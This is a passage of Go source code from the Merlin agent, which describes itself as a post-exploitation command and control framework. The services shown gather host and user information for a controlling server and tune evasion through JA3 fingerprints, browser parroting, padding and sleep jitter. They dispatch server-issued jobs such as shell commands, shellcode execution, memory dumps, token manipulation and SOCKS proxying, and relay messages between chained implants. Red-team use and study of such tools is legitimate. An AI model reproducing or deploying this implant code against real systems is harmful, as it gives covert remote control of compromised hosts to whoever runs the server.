the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package agent is a service to manage Agent structures
package agent
import (
// Standard
"strconv"
"time"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/agent"
"github.com/Ne0nd0g/merlin-agent/v2/agent/memory"
"github.com/Ne0nd0g/merlin-agent/v2/clients"
clientMemory "github.com/Ne0nd0g/merlin-agent/v2/clients/memory"
"github.com/Ne0nd0g/merlin-agent/v2/core"
"github.com/Ne0nd0g/merlin-message"
)
// Service is the structure used to interact with Agent objects
type Service struct {
AgentRepo agent.Repository
ClientRepo clients.Repository
}
// memoryService is an in-memory instantiation of the agent service
var memoryService *Service
// NewAgentService is a factory that returns an Agent Service
func NewAgentService() *Service {
if memoryService == nil {
memoryService = &Service{
AgentRepo: withAgentMemoryRepository(),
ClientRepo: withClientMemoryRepository(),
}
}
return memoryService
}
// withAgentMemoryRepository gets an in-memory Agent repository structure and returns it
func withAgentMemoryRepository() agent.Repository {
return memory.NewRepository()
}
// withClientMemoryRepository gets an in-memory Agent Client repository structure and returns it
func withClientMemoryRepository() clients.Repository {
return clientMemory.NewRepository()
}
// Add stores the provided agent object in the repository
func (s *Service) Add(agent agent.Agent) {
s.AgentRepo.Add(agent)
}
// AgentInfo builds an AgentInfo structure from the information stored in the Agent and Client repositories
func (s *Service) AgentInfo() messages.AgentInfo {
a := s.AgentRepo.Get()
comms := a.Comms()
h := a.Host()
p := a.Process()
c := s.ClientRepo.Get()
sysInfoMessage := messages.SysInfo{
HostName: h.Name,
Platform: h.Platform,
Architecture: h.Architecture,
Ips: h.IPs,
Process: p.Name,
Pid: p.ID,
Integrity: p.Integrity,
UserName: p.UserName,
UserGUID: p.UserGUID,
Domain: p.Domain,
}
padding, _ := strconv.Atoi(c.Get("paddingmax"))
agentInfoMessage := messages.AgentInfo{
Version: core.Version,
Build: core.Build,
WaitTime: comms.Wait.String(),
PaddingMax: padding,
MaxRetry: comms.Retry,
FailedCheckin: comms.Failed,
Skew: comms.Skew,
Proto: c.Get("protocol"),
SysInfo: sysInfoMessage,
KillDate: comms.Kill,
JA3: c.Get("ja3"),
}
return agentInfoMessage
}
// Get returns the single Agent object stored in the repository, because there can only be one
func (s *Service) Get() agent.Agent {
return s.AgentRepo.Get()
}
// IncrementFailed increases the Agent's failed checkin count by one
func (s *Service) IncrementFailed() {
a := s.AgentRepo.Get()
c := a.Comms()
c.Failed++
s.AgentRepo.SetComms(c)
}
// SetAuthenticated updates the Agent's authenticated status
func (s *Service) SetAuthenticated(authenticated bool) {
s.AgentRepo.SetAuthenticated(authenticated)
}
// SetFailedCheckIn updates the number of times the Agent has already failed to check in with the provided value
func (s *Service) SetFailedCheckIn(failed int) {
s.AgentRepo.SetFailedCheckIn(failed)
}
// SetInitialCheckIn updates the time stamp of when the Agent first successfully check in
func (s *Service) SetInitialCheckIn(checkin time.Time) {
s.AgentRepo.SetInitialCheckIn(checkin)
}
// SetKillDate updates the date, as an epoch timestamp, that the Agent will quit running
func (s *Service) SetKillDate(date int64) {
s.AgentRepo.SetKillDate(date)
}
// SetMaxRetry updates the number of times the Agent can fail to check in before it quits running
func (s *Service) SetMaxRetry(retries int) {
s.AgentRepo.SetMaxRetry(retries)
}
// SetSkew updates the amount of jitter or skew that is applied to an Agent's sleep time
func (s *Service) SetSkew(skew int64) {
s.AgentRepo.SetSkew(skew)
}
// SetSleep updates the amount of time an Agent will sleep between checkins
func (s *Service) SetSleep(sleep time.Duration) {
s.AgentRepo.SetSleep(sleep)
}
// SetStatusCheckIn updates the time stamp of when this Agent last successfully connected to the Server or parent Agent
func (s *Service) SetStatusCheckIn(checkin time.Time) {
s.AgentRepo.SetStatusCheckIn(checkin)
}
================================================
FILE: services/client/client.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package client is a service to manager Merlin command and control communication clients
package client
import (
"fmt"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/clients"
"github.com/Ne0nd0g/merlin-agent/v2/clients/memory"
"github.com/Ne0nd0g/merlin-message"
"strings"
)
// Service is the structure used to interact with Client objects
type Service struct {
ClientRepo clients.Repository
}
// memoryService is an in-memory instantiation of the client service
var memoryService *Service
// NewClientService is the factory to create a new service for working with Merlin C2 clients
func NewClientService() *Service {
if memoryService == nil {
memoryService = &Service{
ClientRepo: withMemoryClientRepo(),
}
}
return memoryService
}
// withMemoryClientRepo gets an in-memory Client repository structure and returns it
func withMemoryClientRepo() clients.Repository {
return memory.NewRepository()
}
// Add saves the input Client into the repository
func (s *Service) Add(client clients.Client) {
s.ClientRepo.Add(client)
}
// Authenticate initiates the Client's authentication function to authenticate this Agent to the Merlin server
// the input msg is used to pass authentication data when the authenticator requires multiple trips
func (s *Service) Authenticate(msg messages.Base) error {
return s.ClientRepo.Get().Authenticate(msg)
}
// Connect instructs the Client to disconnect from its current server and connect to the new provided target
func (s *Service) Connect(addr string) (err error) {
client := s.ClientRepo.Get()
err = client.Set("addr", addr)
return
}
// Get returns the Agent's current communication client from the repository
func (s *Service) Get() clients.Client {
return s.ClientRepo.Get()
}
// Initial starts the Client's initialization route used to start a new connection with Merlin server
func (s *Service) Initial() error {
return s.ClientRepo.Get().Initial()
}
// Listen executes a Client's protocol-specific function to listen for incoming messages and returns them
func (s *Service) Listen() ([]messages.Base, error) {
return s.ClientRepo.Get().Listen()
}
// Reset resets the client's listener to its initial state to allow for a new connection
func (s *Service) Reset() (err error) {
client := s.ClientRepo.Get()
proto := client.Get("protocol")
switch strings.ToLower(proto) {
case "udp-bind":
err = client.Set("bind", "")
default:
err = fmt.Errorf("services/client.Reset(): protocol %s not supported", proto)
}
return
}
// Send takes in a Base message and uses the Agent's Client to send it to the Merlin server or parent Agent
func (s *Service) Send(msg messages.Base) ([]messages.Base, error) {
return s.ClientRepo.Get().Send(msg)
}
// SetJA3 updates the HTTP client's JA3 signature to the provided value
func (s *Service) SetJA3(ja3 string) error {
return s.ClientRepo.SetJA3(ja3)
}
// SetListener updates the listener ID used with peer-to-peer clients
func (s *Service) SetListener(listener string) error {
return s.ClientRepo.SetListener(listener)
}
// SetPadding updates the maximum amount of random padding added to each Base message
func (s *Service) SetPadding(padding string) error {
return s.ClientRepo.SetPadding(padding)
}
// SetParrot updates the HTTP client's configuration to parrot the provided browser
func (s *Service) SetParrot(parrot string) error {
return s.ClientRepo.SetParrot(parrot)
}
// Synchronous returns if the client doesn't sleep (synchronous) or if it does sleep (asynchronous)
func (s *Service) Synchronous() bool {
return s.ClientRepo.Get().Synchronous()
}
================================================
FILE: services/job/job.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package job is a service to consume, process, and return Agent jobs
package job
import (
// Standard
"fmt"
"os"
"strconv"
"strings"
"time"
// 3rd Party
"github.com/google/uuid"
// Merlin
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/commands"
"github.com/Ne0nd0g/merlin-agent/v2/services/agent"
"github.com/Ne0nd0g/merlin-agent/v2/services/client"
"github.com/Ne0nd0g/merlin-agent/v2/socks"
)
// Service is the structure used to interact with job objects
type Service struct {
Agent uuid.UUID
AgentService *agent.Service
ClientService *client.Service
}
// memoryService is an in-memory instantiation of the job service
var memoryService *Service
// in is a channel of incoming or input jobs for the agent to handle
var in = make(chan jobs.Job, 100)
// out is a channel of outgoing job results for the agent to send back to the server
var out = make(chan jobs.Job, 100)
func init() {
// Start go routine that checks for jobs or tasks to execute
go execute()
}
// NewJobService is the factory to create a new service for handling Jobs
func NewJobService(agentID uuid.UUID) *Service {
if memoryService == nil {
memoryService = &Service{
Agent: agentID,
AgentService: agent.NewAgentService(),
ClientService: client.NewClientService(),
}
}
return memoryService
}
// AddResult creates a Job Results structure and places it in the outgoing channel
func (s *Service) AddResult(agent uuid.UUID, stdOut, stdErr string) {
cli.Message(cli.DEBUG, fmt.Sprintf("services/job.AddResult(): entering into function with agent: %s, stdOut: %s, stdErr: %s", agent, stdOut, stdErr))
result := jobs.Results{
Stdout: stdOut,
Stderr: stdErr,
}
job := jobs.Job{
AgentID: agent,
Type: jobs.RESULT,
Payload: result,
}
out <- job
}
// Get blocks waiting for a job from the out channel
func (s *Service) Get() []jobs.Job {
cli.Message(cli.DEBUG, "services/job.Get(): entering into function")
job := <-out
cli.Message(cli.DEBUG, fmt.Sprintf("services/job.Check(): leaving function with: %+v", job))
return []jobs.Job{job}
}
// Check does not block and returns any jobs ready to be returned to the Merlin server
func (s *Service) Check() (returnJobs []jobs.Job) {
cli.Message(cli.DEBUG, "services/job.Check(): entering into function")
// Check the output channel
for {
if len(out) > 0 {
job := <-out
returnJobs = append(returnJobs, job)
} else {
break
}
}
cli.Message(cli.DEBUG, fmt.Sprintf("services/job.Check(): Leaving function with %+v", returnJobs))
return returnJobs
}
// Control handles jobs that have the CONTROL type used to configure the Agent or the network communication client
func (s *Service) Control(job jobs.Job) {
cli.Message(cli.DEBUG, fmt.Sprintf("services/job.Control(): entering into function with %+v", job))
cmd := job.Payload.(jobs.Command)
cli.Message(cli.NOTE, fmt.Sprintf("Received Agent Control Message: %s", cmd.Command))
var results jobs.Results
switch strings.ToLower(cmd.Command) {
case "agentinfo":
// No action required; End of function gets and returns an Agent information structure
case "connect":
if len(cmd.Args) < 1 {
results.Stderr = fmt.Sprintf("the \"connect\" command requires 1 argument, the new address, but received %d", len(cmd.Args))
break
}
// Instruct the Agent to connect to the provided target
err := s.ClientService.Connect(cmd.Args[0])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error changing the client's connection address: %s", err)
}
case "exit":
os.Exit(0)
case "initialize":
cli.Message(cli.NOTE, "Received agent re-initialize message")
s.AgentService.SetAuthenticated(false)
case "ja3":
if len(cmd.Args) < 1 {
results.Stderr = fmt.Sprintf("the ja3 control command requires 1 argument but received %d", len(cmd.Args))
break
}
err := s.ClientService.SetJA3(cmd.Args[0])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error setting the client's JA3 string:\r\n%s", err.Error())
}
case "killdate":
if len(cmd.Args) < 1 {
results.Stderr = fmt.Sprintf("the killdate control command requires 1 argument but received %d", len(cmd.Args))
break
}
d, err := strconv.Atoi(cmd.Args[0])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error converting the kill date to an integer: %s", err)
break
}
s.AgentService.SetKillDate(int64(d))
cli.Message(cli.INFO, fmt.Sprintf("Set Kill Date to: %s", time.Unix(int64(d), 0).UTC().Format(time.RFC3339)))
case "listener":
if len(cmd.Args) < 1 {
results.Stderr = fmt.Sprintf("the listener control command requires 1 argument but received %d", len(cmd.Args))
break
}
err := s.ClientService.SetListener(cmd.Args[0])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error changing the Agent's listener ID: %s", err)
break
}
cli.Message(cli.NOTE, fmt.Sprintf("Changing the Agent's Listener ID to %s", cmd.Args[0]))
case "maxretry":
if len(cmd.Args) < 1 {
results.Stderr = fmt.Sprintf("the maxretry control command requires 1 argument but received %d", len(cmd.Args))
break
}
t, err := strconv.Atoi(cmd.Args[0])
if err != nil {
results.Stderr = fmt.Sprintf("There was an error changing the agent max retries: %s", err)
break
}
s.AgentService.SetMaxRetry(t)
cli.Message(cli.NOTE, fmt.Sprintf("Setting agent max retries to %d", t))
case "padding":
if len(cmd.Args) < 1 {
results.Stderr = fmt.Sprintf("the padding control command requires 1 argument but received %d", len(cmd.Args))
break
}
err := s.ClientService.SetPadding(cmd.Args[0])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error changing the agent message padding size: %s", err)
break
}
cli.Message(cli.NOTE, fmt.Sprintf("Setting agent message maximum padding size to %s", cmd.Args[0]))
case "parrot":
if len(cmd.Args) < 1 {
results.Stderr = fmt.Sprintf("the parrot command requires 1 argument but received %d", len(cmd.Args))
break
}
err := s.ClientService.SetParrot(cmd.Args[0])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error setting the HTTP client's parrot value: %s", err)
break
}
cli.Message(cli.NOTE, fmt.Sprintf("Setting agent HTTP client parrot value to %s", cmd.Args[0]))
case "reset":
// Reset, or unlink, the client's listener
err := s.ClientService.Reset()
if err != nil {
results.Stderr = fmt.Sprintf("there was an error resetting the client's listener:%s", err)
out <- jobs.Job{
ID: job.ID,
AgentID: s.Agent,
Token: job.Token,
Type: jobs.RESULT,
Payload: results,
}
}
return
case "skew":
if len(cmd.Args) < 1 {
results.Stderr = fmt.Sprintf("the skew control command requires 1 argument but received %d", len(cmd.Args))
break
}
t, err := strconv.ParseInt(cmd.Args[0], 10, 64)
if err != nil {
results.Stderr = fmt.Sprintf("there was an error changing the agent skew interval: %s", err)
break
}
s.AgentService.SetSkew(t)
cli.Message(cli.NOTE, fmt.Sprintf("Setting agent skew interval to %d", t))
case "sleep":
if len(cmd.Args) < 1 {
results.Stderr = fmt.Sprintf("the skew control command requires 1 argument but received %d", len(cmd.Args))
break
}
t, err := time.ParseDuration(cmd.Args[0])
if err != nil {
results.Stderr = fmt.Sprintf("there was an error changing the agent waitTime: %s", err)
break
}
s.AgentService.SetSleep(t)
cli.Message(cli.NOTE, fmt.Sprintf("Setting agent sleep time to %s", cmd.Args[0]))
default:
results.Stderr = fmt.Sprintf("%s is not a valid AgentControl message type.", cmd.Command)
}
// Add the result message to the job queue
// Only one job using the token can be returned, so it is either an error message or the AgentInfo structure
if results.Stderr != "" {
out <- jobs.Job{
ID: job.ID,
AgentID: s.Agent,
Token: job.Token,
Type: jobs.RESULT,
Payload: results,
}
return
}
if results.Stderr != "" {
cli.Message(cli.WARN, results.Stderr)
}
if results.Stdout != "" {
cli.Message(cli.SUCCESS, results.Stdout)
}
aInfo := jobs.Job{
ID: job.ID,
AgentID: s.Agent,
Token: job.Token,
Type: jobs.AGENTINFO,
}
aInfo.Payload = s.AgentService.AgentInfo()
out <- aInfo
cli.Message(cli.DEBUG, fmt.Sprintf("services/job.Control(): leaving function with %+v", aInfo))
}
// Handle takes a list of jobs and places them into a job channel if they are a valid type, so they can be executed
func (s *Service) Handle(Jobs []jobs.Job) {
cli.Message(cli.DEBUG, fmt.Sprintf("services/job.Handle(): entering into function with %+v", Jobs))
for _, job := range Jobs {
// If the job belongs to this agent
if job.AgentID == s.Agent {
cli.Message(cli.SUCCESS, fmt.Sprintf("%s job type received!", job.Type))
switch job.Type {
case jobs.FILETRANSFER:
in <- job
case jobs.CONTROL:
s.Control(job)
case jobs.CMD:
in <- job
case jobs.MODULE:
in <- job
case jobs.SHELLCODE:
cli.Message(cli.NOTE, "Received Execute shellcode command")
in <- job
case jobs.NATIVE:
in <- job
// When AgentInfo or Result messages fail to send, they will circle back through the handler
case jobs.AGENTINFO:
out <- job
case jobs.RESULT:
out <- job
case jobs.SOCKS:
socks.Handler(job, &out)
default:
var result jobs.Results
result.Stderr = fmt.Sprintf("%s is not a valid job type", job.Type)
out <- jobs.Job{
ID: job.ID,
AgentID: s.Agent,
Token: job.Token,
Type: jobs.RESULT,
Payload: result,
}
}
}
}
cli.Message(cli.DEBUG, "services/job.Handle(): leaving function")
}
// execute is executed a go routine that regularly checks for jobs from the in channel, executes them, and returns results to the out channel
func execute() {
for {
var result jobs.Results
job := <-in
// Need a go routine here so that way a job or command doesn't block
go func(job jobs.Job) {
switch job.Type {
case jobs.CMD:
result = commands.ExecuteCommand(job.Payload.(jobs.Command))
case jobs.FILETRANSFER:
if job.Payload.(jobs.FileTransfer).IsDownload {
result = commands.Download(job.Payload.(jobs.FileTransfer))
} else {
ft, err := commands.Upload(job.Payload.(jobs.FileTransfer))
if err != nil {
result.Stderr = err.Error()
}
out <- jobs.Job{
AgentID: job.AgentID,
ID: job.ID,
Token: job.Token,
Type: jobs.FILETRANSFER,
Payload: ft,
}
}
case jobs.MODULE:
switch strings.ToLower(job.Payload.(jobs.Command).Command) {
case "clr":
result = commands.CLR(job.Payload.(jobs.Command))
case "createprocess":
result = commands.CreateProcess(job.Payload.(jobs.Command))
case "link":
result = commands.Link(job.Payload.(jobs.Command))
case "listener":
result = commands.Listener(job.Payload.(jobs.Command))
case "memfd":
result = commands.Memfd(job.Payload.(jobs.Command))
case "memory":
result = commands.Memory(job.Payload.(jobs.Command))
case "minidump":
ft, err := commands.MiniDump(job.Payload.(jobs.Command))
if err != nil {
result.Stderr = err.Error()
}
out <- jobs.Job{
AgentID: job.AgentID,
ID: job.ID,
Token: job.Token,
Type: jobs.FILETRANSFER,
Payload: ft,
}
case "netstat":
result = commands.Netstat(job.Payload.(jobs.Command))
case "runas":
result = commands.RunAs(job.Payload.(jobs.Command))
case "pipes":
result = commands.Pipes()
case "ps":
result = commands.PS()
case "ssh":
result = commands.SSH(job.Payload.(jobs.Command))
case "unlink":
result = commands.Unlink(job.Payload.(jobs.Command))
case "uptime":
result = commands.Uptime()
case "token":
result = commands.Token(job.Payload.(jobs.Command))
default:
result.Stderr = fmt.Sprintf("unknown module command: %s", job.Payload.(jobs.Command).Command)
}
case jobs.NATIVE:
result = commands.Native(job.Payload.(jobs.Command))
case jobs.SHELLCODE:
result = commands.ExecuteShellcode(job.Payload.(jobs.Shellcode))
case jobs.SOCKS:
socks.Handler(job, &out)
return
default:
result.Stderr = fmt.Sprintf("Invalid job type: %d", job.Type)
}
out <- jobs.Job{
AgentID: job.AgentID,
ID: job.ID,
Token: job.Token,
Type: jobs.RESULT,
Payload: result,
}
}(job)
}
}
================================================
FILE: services/message/message.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package message is a service to process and return Agent Base messages
package message
import (
// Standard
"fmt"
// 3rd Party
"github.com/google/uuid"
// Merlin
"github.com/Ne0nd0g/merlin-message"
"github.com/Ne0nd0g/merlin-message/jobs"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/services/client"
"github.com/Ne0nd0g/merlin-agent/v2/services/job"
"github.com/Ne0nd0g/merlin-agent/v2/services/p2p"
)
// Service is the structure used to interact with message objects
type Service struct {
Agent uuid.UUID
ClientService *client.Service
P2PService *p2p.Service
JobService *job.Service
}
// memoryService is an in-memory instantiation of the message service
var memoryService *Service
// out is a channel of outgoing Base messages for the agent to send back to the server
var out = make(chan messages.Base, 100)
// NewMessageService is the factory to create a new service for handling base messages
func NewMessageService(agent uuid.UUID) *Service {
if memoryService == nil {
memoryService = &Service{
Agent: agent,
ClientService: client.NewClientService(),
P2PService: p2p.NewP2PService(),
JobService: job.NewJobService(agent),
}
}
return memoryService
}
// Check does not block but looks to see if there are any jobs or delegates that need to be returned to the Merlin server
func (s *Service) Check() (msg messages.Base) {
cli.Message(cli.DEBUG, "services/message.Check(): entering into function")
msg.ID = s.Agent
// Check to see if there are any Jobs to be returned to the Merlin server
returnJobs := s.JobService.Check()
if len(returnJobs) > 0 {
msg.Type = messages.JOBS
msg.Payload = returnJobs
} else {
msg.Type = messages.CHECKIN
}
// Check to see if there are any Delegate messages from a child Agent that need to be returned to the Merlin server
delegates := s.P2PService.Check()
if len(delegates) > 0 {
msg.Delegates = delegates
}
cli.Message(cli.DEBUG, fmt.Sprintf("services/message.Check(): leaving function with %+v", msg))
return
}
// Get blocks until there is a return base message to send back to the Merlin server
func (s *Service) Get() (msg messages.Base) {
cli.Message(cli.DEBUG, "services/message.Get(): entering into function")
msg = <-out
cli.Message(cli.DEBUG, fmt.Sprintf("services/message.Get(): leaving function with %+v", msg))
return
}
// GetDelegates blocks waiting for a delegate message that needs to be returned to the Merlin server and adds it to the
// out channel as a Base message type of CHECKIN because it will not be aggregated with other return message types.
// Used when the Agent doesn't sleep and only communicates when there is a message to send
func (s *Service) GetDelegates() {
cli.Message(cli.DEBUG, "services/message.getDelegates(): entering into function")
defer cli.Message(cli.DEBUG, "services/message.getDelegates(): leaving function")
for {
msg := messages.Base{
ID: s.Agent,
Type: messages.CHECKIN,
Payload: nil,
}
msg.Delegates = s.P2PService.GetDelegates()
out <- msg
}
}
// GetJobs blocks waiting for a return job to exist, adds it to a Base message, and adds it to the out channel.
// Used when the Agent doesn't sleep and only communicates when there is a message to send
func (s *Service) GetJobs() {
cli.Message(cli.DEBUG, "services/message.getJobs(): entering into function")
defer cli.Message(cli.DEBUG, "services/message.getJobs(): leaving function")
for {
msg := messages.Base{
ID: s.Agent,
Type: messages.JOBS,
}
msg.Payload = s.JobService.Get()
cli.Message(cli.DEBUG, fmt.Sprintf("services/message.getJobs(): added message Base to outgoing message channel: %+v\n", msg))
out <- msg
}
}
// Handle processes incoming Base messages for this Agent
func (s *Service) Handle(msg messages.Base) (err error) {
cli.Message(cli.DEBUG, fmt.Sprintf("services/messages.Handle(): Entering into function with: %+v", msg))
defer cli.Message(cli.DEBUG, fmt.Sprintf("services/messages.Handle(): Leaving function with error: %+v", err))
cli.Message(cli.SUCCESS, fmt.Sprintf("%s message type received!", msg.Type))
if msg.ID != s.Agent {
cli.Message(cli.WARN, fmt.Sprintf("Input message was not for this agent (%s):\n%+v", s.Agent, msg))
}
switch msg.Type {
case messages.IDLE:
cli.Message(cli.NOTE, "Received idle command, doing nothing")
case messages.JOBS:
s.JobService.Handle(msg.Payload.([]jobs.Job))
case messages.OPAQUE:
err = s.ClientService.Authenticate(msg)
if err != nil {
s.JobService.AddResult(s.Agent, "", err.Error())
return
}
case messages.CHECKIN:
// Used when the Agent needs to force a checkin with the server by creating and sending a Checkin message
out <- msg
default:
stdErr := fmt.Sprintf("%s is not a valid message type", msg.Type)
s.JobService.AddResult(s.Agent, "", stdErr)
}
// If there are any Delegate messages, send them to the Handler
if len(msg.Delegates) > 0 {
// Use a go routine so that P2P functions don't block the Agent from continuing
go s.P2PService.Handle(msg.Delegates)
}
return
}
// Store adds a Base message to the out channel to be sent back to the Merlin server
// Used when there is an error sending a message, and it needs to be preserved
func (s *Service) Store(msg messages.Base) {
cli.Message(cli.DEBUG, fmt.Sprintf("services/messages.Store(): Entering into function with: %+v", msg))
defer cli.Message(cli.DEBUG, "services/messages.Store(): Leaving function...")
out <- msg
}
================================================
FILE: services/p2p/p2p.go
================================================
/*
Merlin is a post-exploitation command and control framework.
This file is part of Merlin.
Copyright (C) 2024 Russel Van Tuyl
Merlin is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
any later version.
Merlin is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with Merlin. If not, see .
*/
// Package p2p is a service to process and return peer-to-peer connection links and delegate messages
package p2p
import (
// Standard
"encoding/binary"
"errors"
"fmt"
"io"
"math"
"net"
"syscall"
"time"
// 3rd Party
"github.com/google/uuid"
// Merlin
"github.com/Ne0nd0g/merlin-message"
// Internal
"github.com/Ne0nd0g/merlin-agent/v2/cli"
"github.com/Ne0nd0g/merlin-agent/v2/p2p"
"github.com/Ne0nd0g/merlin-agent/v2/p2p/memory"
)
// Service is the structure used to interact with Link and Delegate objects
type Service struct {
repo p2p.Repository
}
// memoryService is an in-memory instantiation of the message service
var memoryService *Service
// out a global map of Delegate messages that are outgoing from this Agent to its parent or the server
var out = make(chan messages.Delegate, 100)
// NewP2PService is a factory to create a Service object for interacting with Link and Delegate message objects
func NewP2PService() *Service {
if memoryService == nil {
memoryService = &Service{
repo: withP2PMemoryRepository(),
}
}
return memoryService
}
// withP2PMemoryRepository creates and returns a repository for peer-to-peer links
func withP2PMemoryRepository() p2p.Repository {
return memory.NewRepository()
}
// AddDelegate takes the provided delegate message and adds it to outgoing message channel to be sent to the Merlin server
func (s *Service) AddDelegate(delegate messages.Delegate) {
cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.AddDelegate(): entering into function with delegate message for %s, payload size: %d, delegate messages: %d", delegate.Agent, len(delegate.Payload), len(delegate.Delegates)))
defer cli.Message(cli.DEBUG, "services/p2p.AddDelegate(): exiting function")
out <- delegate
}
// AddLink stores a Link object in the repository
func (s *Service) AddLink(link *p2p.Link) {
s.repo.Store(link)
}
// Connected determines if this Agent is already connected to the target IP address and port and returns it if it is
func (s *Service) Connected(agentType int, ip string) (*p2p.Link, bool) {
links := s.repo.GetAll()
for _, link := range links {
if link.Type() == agentType && link.Remote().String() == ip {
return link, true
}
}
return nil, false
}
// Delete removes the peer-to-peer link from the repository without trying to gracefully close the connection
func (s *Service) Delete(id uuid.UUID) {
s.repo.Delete(id)
}
// GetLink finds the Link by the provided id from the repository and returns it
func (s *Service) GetLink(id uuid.UUID) (*p2p.Link, error) {
return s.repo.Get(id)
}
// GetDelegates blocks waiting for a delegate message that needs to be sent to the parent Agent
func (s *Service) GetDelegates() []messages.Delegate {
delegate := <-out
return []messages.Delegate{delegate}
}
// Check does not block and returns all delegate messages in the out channel, if any
func (s *Service) Check() (delegates []messages.Delegate) {
for {
if len(out) > 0 {
delegate := <-out
delegates = append(delegates, delegate)
} else {
break
}
}
return
}
// Handle takes in a list of incoming Delegate messages to this parent Agent and sends it to the child or linked Agent
func (s *Service) Handle(delegates []messages.Delegate) {
cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): entering into function with %d delegate messages", len(delegates)))
defer cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): exiting function"))
for _, delegate := range delegates {
cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): processing delegate message for %s, payload size: %d, delegate messages: %d", delegate.Agent, len(delegate.Payload), len(delegate.Delegates)))
link, err := s.repo.Get(delegate.Agent)
if err != nil {
cli.Message(cli.WARN, err.Error())
continue
}
// Lock the link so other go routines don't try to write to it at the same time causing the child to receive packets out of order
link.Lock()
// Tag/Type, Length, Value (TLV)
// Determine the message type, which is static right now
// uint is 32-bits (4 bytes)
tag := make([]byte, 4)
binary.BigEndian.PutUint32(tag, uint32(1))
// Going for uint64 (8 bytes)
length := make([]byte, 8)
binary.BigEndian.PutUint64(length, uint64(len(delegate.Payload)))
// Prepend the data length
delegate.Payload = append(length, delegate.Payload...)
// Prepend the data type/tag
delegate.Payload = append(tag, delegate.Payload...)
var n int
sleep := time.Millisecond * 30
switch link.Type() {
case p2p.SMBBIND, p2p.SMBREVERSE:
// Split into fragments of MaxSize
fragments := int(math.Ceil(float64(len(delegate.Payload)) / float64(p2p.MaxSizeSMB)))
cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): SMB data size is: %d, max SMB fragment size is %d, creating %d fragments", len(delegate.Payload), p2p.MaxSizeSMB, fragments))
var i int
size := len(delegate.Payload)
for i < fragments {
start := i * p2p.MaxSizeSMB
var stop int
// if bytes remaining are less than max size, read until the end
if size < p2p.MaxSizeSMB {
stop = len(delegate.Payload)
} else {
stop = (i + 1) * p2p.MaxSizeSMB
}
n, err = link.Conn().(net.Conn).Write(delegate.Payload[start:stop])
if err != nil {
cli.Message(cli.WARN, fmt.Sprintf("services/p2p.Handle(): there was an error writing a message to the linked agent %s: %s\n", link.Conn().(net.Conn).RemoteAddr(), err))
break
}
cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): Wrote SMB fragment %d of %d", i+1, fragments))
i++
size = size - p2p.MaxSizeSMB
}
case p2p.TCPBIND, p2p.TCPREVERSE:
cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): Writing %d bytes to the linked agent %s at %s at %s\n", len(delegate.Payload), delegate.Agent, link.Remote(), time.Now().UTC().Format(time.RFC3339)))
n, err = link.Conn().(net.Conn).Write(delegate.Payload)
cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): Wrote %d bytes to the linked agent %s at %s at %s\n", n, delegate.Agent, link.Remote(), time.Now().UTC().Format(time.RFC3339)))
case p2p.UDPBIND, p2p.UDPREVERSE:
// Needed for space between consecutive delegate messages
sleep = time.Second * 1
// Split into fragments of MaxSize
fragments := int(math.Ceil(float64(len(delegate.Payload)) / float64(p2p.MaxSizeUDP)))
cli.Message(cli.DEBUG, fmt.Sprintf("services/p2p.Handle(): UDP data size is: %d, max UDP fragment size is %d, creating %d fragments", len(delegate.Payload), p2p.MaxSizeUDP, fragments))
var i int
size := len(delegate.Payload)
